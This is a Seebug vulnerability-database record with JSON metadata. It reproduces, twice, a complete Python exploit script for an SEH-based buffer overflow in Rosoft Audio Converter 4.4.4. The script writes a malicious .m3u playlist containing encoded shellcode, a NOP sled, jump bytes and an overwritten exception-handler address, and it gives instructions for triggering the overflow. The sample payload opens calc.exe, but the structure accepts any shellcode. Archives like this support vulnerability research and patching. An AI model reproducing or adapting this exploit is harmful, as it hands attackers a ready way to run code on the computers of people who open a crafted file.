ID SSV:69053
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00
Description
No description provided by source.
# Exploit Title: Rosoft Audio Converter 4.4.4 Buffer Overflow
# Date: June 14, 2010
# Author: Blake
# Software Link: http://www.rosoftengineering.com/freeware/RosoftAudioConverterFree.aspx
# Version: 4.4.4
# Tested on: Windows XP SP3 / Windows 7 Home (change shellcode for Windows 7)
# Instructions: create malicious file, open in audio converter, select save
print "\n============================"
print "Rosoft Audio Converter 4.4.4"
print " Written by Blake "
print " Tested on Windows XP SP3 "
print "============================\n"
# calc.exe
sc =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a")
buffer = "\x41" * (4083 - len(sc))
nops = "\x90" * 20
near_jmp = "\xe8\xf4\xef\xff\xff" # jmp back
next_seh = "\xeb\xf9\x90\x90"
seh = "\xe7\xb3\x49\x00" #Found pop eax - pop ebx - ret at 0x0049B3E7 [rosoftaudioconverterfree.exe]
junk = "\xCC" * 25000
print "[+] Creating malicious .m3u file"
try:
file = open("blake.m3u","w")
file.write(buffer + nops + sc + near_jmp + next_seh + seh + junk)
file.close()
print "[+] File created"
except:
print "[x] Could not create file"
raw_input("\nPress any key to exit...\n")
{"lastseen": "2017-11-19T16:25:48", "modified": "2014-07-01T00:00:00", "description": "No description provided by source.", "cvss": {"score": 0.0, "vector": "NONE"}, "published": "2014-07-01T00:00:00", "_object_type": "robots.models.seebug.SeebugBulletin", "status": "cve,poc", "enchantments": {"score": {"vector": "NONE", "value": 6.8}, "dependencies": {"references": [], "modified": "2017-11-19T16:25:48"}, "vulnersScore": 6.8}, "href": "https://www.seebug.org/vuldb/ssvid-69053", "references": [], "history": [], "_object_types": ["robots.models.base.Bulletin", "robots.models.seebug.SeebugBulletin"], "enchantments_done": [], "id": "SSV:69053", "title": "Rosoft Audio Converter 4.4.4 - Buffer Overflow", "bulletinFamily": "exploit", "reporter": "Root", "cvelist": [], "viewCount": 0, "sourceData": "\n # Exploit Title: Rosoft Audio Converter 4.4.4 Buffer Overflow\r\n# Date: June 14, 2010\r\n# Author: Blake\r\n# Software Link: http://www.rosoftengineering.com/freeware/RosoftAudioConverterFree.aspx\r\n# Version: 4.4.4\r\n# Tested on: Windows XP SP3 / Windows 7 Home (change shellcode for Windows 7)\r\n# Instructions: create malicious file, open in audio converter, select save\r\n\r\nprint "\\n============================"\r\nprint "Rosoft Audio Converter 4.4.4"\r\nprint " Written by Blake "\r\nprint " Tested on Windows XP SP3 "\r\nprint "============================\\n"\r\n\r\n# calc.exe\r\nsc =(\r\n"\\xeb\\x03\\x59\\xeb\\x05\\xe8\\xf8\\xff\\xff\\xff\\x4f\\x49\\x49\\x49\\x49\\x49"\r\n"\\x49\\x51\\x5a\\x56\\x54\\x58\\x36\\x33\\x30\\x56\\x58\\x34\\x41\\x30\\x42\\x36"\r\n"\\x48\\x48\\x30\\x42\\x33\\x30\\x42\\x43\\x56\\x58\\x32\\x42\\x44\\x42\\x48\\x34"\r\n"\\x41\\x32\\x41\\x44\\x30\\x41\\x44\\x54\\x42\\x44\\x51\\x42\\x30\\x41\\x44\\x41"\r\n"\\x56\\x58\\x34\\x5a\\x38\\x42\\x44\\x4a\\x4f\\x4d\\x4e\\x4f\\x4a\\x4e\\x46\\x44"\r\n"\\x42\\x30\\x42\\x50\\x42\\x30\\x4b\\x48\\x45\\x54\\x4e\\x43\\x4b\\x38\\x4e\\x47"\r\n"\\x45\\x50\\x4a\\x57\\x41\\x30\\x4f\\x4e\\x4b\\x58\\x4f\\x54\\x4a\\x41\\x4b\\x38"\r\n"\\x4f\\x45\\x42\\x42\\x41\\x50\\x4b\\x4e\\x49\\x44\\x4b\\x38\\x46\\x33\\x4b\\x48"\r\n"\\x41\\x50\\x50\\x4e\\x41\\x53\\x42\\x4c\\x49\\x59\\x4e\\x4a\\x46\\x58\\x42\\x4c"\r\n"\\x46\\x57\\x47\\x30\\x41\\x4c\\x4c\\x4c\\x4d\\x30\\x41\\x30\\x44\\x4c\\x4b\\x4e"\r\n"\\x46\\x4f\\x4b\\x53\\x46\\x55\\x46\\x32\\x46\\x50\\x45\\x47\\x45\\x4e\\x4b\\x58"\r\n"\\x4f\\x45\\x46\\x52\\x41\\x50\\x4b\\x4e\\x48\\x56\\x4b\\x58\\x4e\\x50\\x4b\\x44"\r\n"\\x4b\\x48\\x4f\\x55\\x4e\\x41\\x41\\x30\\x4b\\x4e\\x4b\\x58\\x4e\\x41\\x4b\\x38"\r\n"\\x41\\x50\\x4b\\x4e\\x49\\x48\\x4e\\x45\\x46\\x32\\x46\\x50\\x43\\x4c\\x41\\x33"\r\n"\\x42\\x4c\\x46\\x46\\x4b\\x38\\x42\\x44\\x42\\x53\\x45\\x38\\x42\\x4c\\x4a\\x47"\r\n"\\x4e\\x30\\x4b\\x48\\x42\\x44\\x4e\\x50\\x4b\\x58\\x42\\x37\\x4e\\x51\\x4d\\x4a"\r\n"\\x4b\\x48\\x4a\\x36\\x4a\\x30\\x4b\\x4e\\x49\\x50\\x4b\\x38\\x42\\x58\\x42\\x4b"\r\n"\\x42\\x50\\x42\\x50\\x42\\x50\\x4b\\x38\\x4a\\x36\\x4e\\x43\\x4f\\x45\\x41\\x53"\r\n"\\x48\\x4f\\x42\\x46\\x48\\x35\\x49\\x38\\x4a\\x4f\\x43\\x48\\x42\\x4c\\x4b\\x57"\r\n"\\x42\\x45\\x4a\\x36\\x42\\x4f\\x4c\\x38\\x46\\x30\\x4f\\x35\\x4a\\x46\\x4a\\x39"\r\n"\\x50\\x4f\\x4c\\x38\\x50\\x50\\x47\\x55\\x4f\\x4f\\x47\\x4e\\x43\\x46\\x41\\x46"\r\n"\\x4e\\x46\\x43\\x36\\x42\\x50\\x5a")\r\n\r\nbuffer = "\\x41" * (4083 - len(sc))\r\nnops = "\\x90" * 20\r\nnear_jmp = "\\xe8\\xf4\\xef\\xff\\xff"\t# jmp back\t\r\nnext_seh = "\\xeb\\xf9\\x90\\x90"\t\r\nseh = "\\xe7\\xb3\\x49\\x00"\t#Found pop eax - pop ebx - ret at 0x0049B3E7 [rosoftaudioconverterfree.exe]\r\njunk = "\\xCC" * 25000\r\n\r\nprint "[+] Creating malicious .m3u file"\r\ntry:\r\n\tfile = open("blake.m3u","w")\r\n\tfile.write(buffer + nops + sc + near_jmp + next_seh + seh + junk)\r\n\tfile.close()\r\n\tprint "[+] File created"\r\nexcept:\r\n\tprint "[x] Could not create file"\r\n\r\nraw_input("\\nPress any key to exit...\\n")\r\n\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-69053", "type": "seebug", "objectVersion": "1.4"}
{}
